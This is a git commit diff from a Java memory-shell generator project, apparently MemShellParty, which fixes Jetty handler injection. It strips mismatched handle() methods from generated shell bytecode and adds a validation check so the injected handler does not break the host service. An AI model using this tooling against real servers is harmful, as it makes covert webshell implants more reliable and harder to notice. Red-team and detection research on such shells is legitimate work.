mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: wrong jetty handler will disrupt service
This commit is contained in:
+11
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator.processors;
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
||||
import com.reajason.javaweb.asm.MethodUtils;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
@@ -31,13 +32,23 @@ public class JettyHandlerPostProcessor implements Processor<byte[]> {
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
|
||||
break;
|
||||
case "7+":
|
||||
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||
break;
|
||||
case "12":
|
||||
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
+15
@@ -59,6 +59,7 @@ public class JettyHandlerInjector {
|
||||
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
|
||||
return;
|
||||
}
|
||||
validateHandler(handler);
|
||||
setFieldValue(handler, "nextHandler", nextHandler);
|
||||
setFieldValue(handler, "_server", server);
|
||||
|
||||
@@ -77,6 +78,20 @@ public class JettyHandlerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public void validateHandler(Object shell) throws Exception {
|
||||
Class<?> handlerClass = shell.getClass().getSuperclass();
|
||||
Method rightHandleMethod = null;
|
||||
for (Method method : handlerClass.getMethods()) {
|
||||
if (method.getName().equals("handle")) {
|
||||
rightHandleMethod = method;
|
||||
}
|
||||
}
|
||||
shell.getClass().getMethod(
|
||||
"handle",
|
||||
rightHandleMethod.getParameterTypes()
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
|
||||
Reference in New Issue
Block a user